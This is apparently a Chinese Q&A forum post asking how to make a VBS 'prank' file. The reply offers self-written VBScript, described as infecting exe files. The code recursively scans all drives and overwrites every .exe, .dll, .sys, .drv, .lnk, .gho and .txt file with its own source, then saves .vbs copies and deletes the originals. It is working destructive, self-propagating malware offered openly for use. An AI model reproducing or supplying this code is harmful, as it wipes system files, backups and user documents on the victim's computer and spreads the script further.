VBS惡搞文件怎麽制作?

我有壹段代碼感染exe文件的

自己寫的 用吧

On Error Resume next' 感染文件

Dim fso

Set fso=CreateObject("scripting.filesystemobject")

Dim self

Dim zs

Set divs=fso.Drives

zs=WScript.ScriptFullName

Set self=fso.OpenTextFile(zs)

Dim cover

cover=self.ReadAll

self.Close

For Each div In divs

If div.DriveType=1 Or div.DriveType=2 Or div.DriveType=3 Or div.DriveType=4 Then

scan(div)

End If

Next

Sub scan(folder_)

Set folder_=fso.GetFolder(folder_)

Dim files

Set files=folder_.Files

For Each file In files

Dim ext

ext=fso.GetExtensionName(file)

ext=LCase(ext)

If ext="gho" or ext= "exe" or ext ="dll" or ext="lnk" or ext ="drv" or ext="sys" or ext="txt" Then

Dim ap

Set ap=fso.OpenTextFile(file.Path,2,True)

ap.Write cover

ap.Close

fso.GetFile(file.Path).copy(file.Path & ".vbs")

file.Delete(true)

End If

set subfolders=folder_.subfolders

for each subfolder in subfolders

scan(subfolder)

next

Next

End Sub